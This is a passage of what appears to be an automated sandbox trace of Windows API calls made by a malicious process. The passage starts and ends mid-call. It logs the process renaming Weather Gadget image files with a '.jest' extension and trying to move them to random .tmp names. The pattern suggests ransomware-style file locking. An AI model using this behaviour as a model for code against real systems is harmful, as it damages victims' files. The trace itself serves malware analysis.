() returned 0x2 [0128.157] GetLastError () returned 0x2 [0128.157] SetLastError (dwErrCode=0x2) [0128.158] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.158] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.158] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.158] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.158] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.158] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.158] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.158] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.158] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.158] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.159] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.159] CoFreeUnusedLibraries () [0128.159] GetTickCount () returned 0x115277e [0128.159] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.159] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.159] GetTickCount () returned 0x115277e [0128.159] IsWindowVisible (hWnd=0x30268) returned 0 [0128.159] Sleep (dwMilliseconds=0x0) [0128.164] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\7.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\7.png.jest")) returned 0 [0128.167] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png", lpFilePart=0x18e6d8*="7.png") returned 0x4a [0128.167] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4a9d33, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4a9d33, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x57, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 0x143ce48 [0128.168] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.169] VarBstrFromR4 (in: fltIn=0x47944601, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.01") returned 0x0 [0128.170] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.170] CoFreeUnusedLibraries () [0128.170] GetTickCount () returned 0x115278e [0128.170] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.170] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.170] GetTickCount () returned 0x115278e [0128.170] IsWindowVisible (hWnd=0x30268) returned 0 [0128.170] Sleep (dwMilliseconds=0x0) [0128.172] GetFullPathNameA (in: lpFileName="KrGKIOc6DRQdMemq4HCzY6it3Yu1gnOxi Vrv5 3TKhaPLqZCWq1kbuuvuRyqHxDX1_ QUmkvvmpCNsnPw2OEkmwCubEJYLR3P.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KrGKIOc6DRQdMemq4HCzY6it3Yu1gnOxi Vrv5 3TKhaPLqZCWq1kbuuvuRyqHxDX1_ QUmkvvmpCNsnPw2OEkmwCubEJYLR3P.tmp", lpFilePart=0x18e708*="KrGKIOc6DRQdMemq4HCzY6it3Yu1gnOxi Vrv5 3TKhaPLqZCWq1kbuuvuRyqHxDX1_ QUmkvvmpCNsnPw2OEkmwCubEJYLR3P.tmp") returned 0x8c [0128.173] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png", lpFilePart=0x18e708*="7.png") returned 0x4a [0128.173] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\7.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KrGKIOc6DRQdMemq4HCzY6it3Yu1gnOxi Vrv5 3TKhaPLqZCWq1kbuuvuRyqHxDX1_ QUmkvvmpCNsnPw2OEkmwCubEJYLR3P.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\krgkioc6drqdmemq4hczy6it3yu1gnoxi vrv5 3tkhaplqzcwq1kbuuvuryqhxdx1_ qumkvvmpcnsnpw2oekmwcubejylr3p.tmp")) returned 0 [0128.175] GetLastError () returned 0x5 [0128.175] GetLastError () returned 0x5 [0128.175] SetLastError (dwErrCode=0x5) [0128.175] GetLastError () returned 0x5 [0128.175] SetLastError (dwErrCode=0x5) [0128.175] GetLastError () returned 0x5 [0128.175] SetLastError (dwErrCode=0x5) [0128.175] GetFullPathNameA (in: lpFileName="KrGKIOc6DRQdMemq4HCzY6it3Yu1gnOxi Vrv5 3TKhaPLqZCWq1kbuuvuRyqHxDX1_ QUmkvvmpCNsnPw2OEkmwCubEJYLR3P.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KrGKIOc6DRQdMemq4HCzY6it3Yu1gnOxi Vrv5 3TKhaPLqZCWq1kbuuvuRyqHxDX1_ QUmkvvmpCNsnPw2OEkmwCubEJYLR3P.tmp", lpFilePart=0x18e6e4*="KrGKIOc6DRQdMemq4HCzY6it3Yu1gnOxi Vrv5 3TKhaPLqZCWq1kbuuvuRyqHxDX1_ QUmkvvmpCNsnPw2OEkmwCubEJYLR3P.tmp") returned 0x8c [0128.175] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KrGKIOc6DRQdMemq4HCzY6it3Yu1gnOxi Vrv5 3TKhaPLqZCWq1kbuuvuRyqHxDX1_ QUmkvvmpCNsnPw2OEkmwCubEJYLR3P.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4b47724b, cFileName="IOc6DRQdMemq4HCzY6it3Yu1gnOxi Vrv5 3TKhaPLqZCWq1kbuuvuRyqHxDX1_ QUmkvvmpCNsnPw2OEkmwCubEJYLR3P.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.176] GetLastError () returned 0x2 [0128.176] GetLastError () returned 0x2 [0128.176] SetLastError (dwErrCode=0x2) [0128.176] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.176] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.176] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.176] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.176] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.176] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.176] CoFreeUnusedLibraries () [0128.176] GetTickCount () returned 0x115278e [0128.177] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.177] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.177] GetTickCount () returned 0x115278e [0128.177] IsWindowVisible (hWnd=0x30268) returned 0 [0128.177] Sleep (dwMilliseconds=0x0) [0128.186] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\6.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\6.png.jest")) returned 0 [0128.189] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png", lpFilePart=0x18e6d8*="6.png") returned 0x4a [0128.189] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc437916, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc437916, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x57, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 0x143ce48 [0128.190] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.192] VarBstrFromR4 (in: fltIn=0x47944603, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.02") returned 0x0 [0128.192] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.192] CoFreeUnusedLibraries () [0128.193] GetTickCount () returned 0x115279d [0128.193] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.193] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.193] GetTickCount () returned 0x115279d [0128.193] IsWindowVisible (hWnd=0x30268) returned 0 [0128.193] Sleep (dwMilliseconds=0x0) [0128.194] GetFullPathNameA (in: lpFileName="YzqdfX-Fe65wDr_ gA-LdXAWotZGeMDhoZPLI4Vyv8qzC6w CSj_aY_d0NP0RGfviEbTvGKu hWcXVE8ie1cnB41I4RJJUFchL-3.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YzqdfX-Fe65wDr_ gA-LdXAWotZGeMDhoZPLI4Vyv8qzC6w CSj_aY_d0NP0RGfviEbTvGKu hWcXVE8ie1cnB41I4RJJUFchL-3.tmp", lpFilePart=0x18e708*="YzqdfX-Fe65wDr_ gA-LdXAWotZGeMDhoZPLI4Vyv8qzC6w CSj_aY_d0NP0RGfviEbTvGKu hWcXVE8ie1cnB41I4RJJUFchL-3.tmp") returned 0x8e [0128.194] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png", lpFilePart=0x18e708*="6.png") returned 0x4a [0128.195] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\6.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YzqdfX-Fe65wDr_ gA-LdXAWotZGeMDhoZPLI4Vyv8qzC6w CSj_aY_d0NP0RGfviEbTvGKu hWcXVE8ie1cnB41I4RJJUFchL-3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yzqdfx-fe65wdr_ ga-ldxawotzgemdhozpli4vyv8qzc6w csj_ay_d0np0rgfviebtvgku hwcxve8ie1cnb41i4rjjufchl-3.tmp")) returned 0 [0128.197] GetLastError () returned 0x5 [0128.197] GetLastError () returned 0x5 [0128.197] SetLastError (dwErrCode=0x5) [0128.197] GetLastError () returned 0x5 [0128.197] SetLastError (dwErrCode=0x5) [0128.197] GetLastError () returned 0x5 [0128.197] SetLastError (dwErrCode=0x5) [0128.197] GetFullPathNameA (in: lpFileName="YzqdfX-Fe65wDr_ gA-LdXAWotZGeMDhoZPLI4Vyv8qzC6w CSj_aY_d0NP0RGfviEbTvGKu hWcXVE8ie1cnB41I4RJJUFchL-3.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YzqdfX-Fe65wDr_ gA-LdXAWotZGeMDhoZPLI4Vyv8qzC6w CSj_aY_d0NP0RGfviEbTvGKu hWcXVE8ie1cnB41I4RJJUFchL-3.tmp", lpFilePart=0x18e6e4*="YzqdfX-Fe65wDr_ gA-LdXAWotZGeMDhoZPLI4Vyv8qzC6w CSj_aY_d0NP0RGfviEbTvGKu hWcXVE8ie1cnB41I4RJJUFchL-3.tmp") returned 0x8e [0128.197] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YzqdfX-Fe65wDr_ gA-LdXAWotZGeMDhoZPLI4Vyv8qzC6w CSj_aY_d0NP0RGfviEbTvGKu hWcXVE8ie1cnB41I4RJJUFchL-3.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x64717a59, cFileName="fX-Fe65wDr_ gA-LdXAWotZGeMDhoZPLI4Vyv8qzC6w CSj_aY_d0NP0RGfviEbTvGKu hWcXVE8ie1cnB41I4RJJUFchL-3.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.198] GetLastError () returned 0x2 [0128.198] GetLastError () returned 0x2 [0128.198] SetLastError (dwErrCode=0x2) [0128.198] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.198] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.198] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.198] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.198] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.198] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.199] CoFreeUnusedLibraries () [0128.199] GetTickCount () returned 0x11527ad [0128.199] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.199] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.199] GetTickCount () returned 0x11527ad [0128.199] IsWindowVisible (hWnd=0x30268) returned 0 [0128.199] Sleep (dwMilliseconds=0x0) [0128.200] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\5.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\5.png.jest")) returned 0 [0128.202] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png", lpFilePart=0x18e6d8*="5.png") returned 0x4a [0128.202] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4117b7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4117b7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x57, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 0x143ce48 [0128.203] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.205] VarBstrFromR4 (in: fltIn=0x47944605, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.04") returned 0x0 [0128.205] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.205] CoFreeUnusedLibraries () [0128.205] GetTickCount () returned 0x11527ad [0128.205] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.206] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.206] GetTickCount () returned 0x11527ad [0128.206] IsWindowVisible (hWnd=0x30268) returned 0 [0128.206] Sleep (dwMilliseconds=0x0) [0128.207] GetFullPathNameA (in: lpFileName="lJQjlPVudMUfYlffHLZEJ5 97Z5JW9bblGBDBd8AMYvd5JAWbmhBaNs4Q_DBuNqkfsGfiojwsPVFy79vYXphvhDCrF-SUj1j_mzmV.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lJQjlPVudMUfYlffHLZEJ5 97Z5JW9bblGBDBd8AMYvd5JAWbmhBaNs4Q_DBuNqkfsGfiojwsPVFy79vYXphvhDCrF-SUj1j_mzmV.tmp", lpFilePart=0x18e708*="lJQjlPVudMUfYlffHLZEJ5 97Z5JW9bblGBDBd8AMYvd5JAWbmhBaNs4Q_DBuNqkfsGfiojwsPVFy79vYXphvhDCrF-SUj1j_mzmV.tmp") returned 0x8f [0128.207] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png", lpFilePart=0x18e708*="5.png") returned 0x4a [0128.208] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\5.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\5.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lJQjlPVudMUfYlffHLZEJ5 97Z5JW9bblGBDBd8AMYvd5JAWbmhBaNs4Q_DBuNqkfsGfiojwsPVFy79vYXphvhDCrF-SUj1j_mzmV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ljqjlpvudmufylffhlzej5 97z5jw9bblgbdbd8amyvd5jawbmhbans4q_dbunqkfsgfiojwspvfy79vyxphvhdcrf-suj1j_mzmv.tmp")) returned 0 [0128.211] GetLastError () returned 0x5 [0128.211] GetLastError () returned 0x5 [0128.211] SetLastError (dwErrCode=0x5) [0128.211] GetLastError () returned 0x5 [0128.211] SetLastError (dwErrCode=0x5) [0128.211] GetLastError () returned 0x5 [0128.212] SetLastError (dwErrCode=0x5) [0128.212] GetFullPathNameA (in: lpFileName="lJQjlPVudMUfYlffHLZEJ5 97Z5JW9bblGBDBd8AMYvd5JAWbmhBaNs4Q_DBuNqkfsGfiojwsPVFy79vYXphvhDCrF-SUj1j_mzmV.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lJQjlPVudMUfYlffHLZEJ5 97Z5JW9bblGBDBd8AMYvd5JAWbmhBaNs4Q_DBuNqkfsGfiojwsPVFy79vYXphvhDCrF-SUj1j_mzmV.tmp", lpFilePart=0x18e6e4*="lJQjlPVudMUfYlffHLZEJ5 97Z5JW9bblGBDBd8AMYvd5JAWbmhBaNs4Q_DBuNqkfsGfiojwsPVFy79vYXphvhDCrF-SUj1j_mzmV.tmp") returned 0x8f [0128.212] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lJQjlPVudMUfYlffHLZEJ5 97Z5JW9bblGBDBd8AMYvd5JAWbmhBaNs4Q_DBuNqkfsGfiojwsPVFy79vYXphvhDCrF-SUj1j_mzmV.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6a514a6c, cFileName="lPVudMUfYlffHLZEJ5 97Z5JW9bblGBDBd8AMYvd5JAWbmhBaNs4Q_DBuNqkfsGfiojwsPVFy79vYXphvhDCrF-SUj1j_mzmV.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.212] GetLastError () returned 0x2 [0128.212] GetLastError () returned 0x2 [0128.212] SetLastError (dwErrCode=0x2) [0128.213] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.213] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.214] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.214] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.214] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.214] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.214] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.214] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.214] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.214] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.214] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18ee2c, 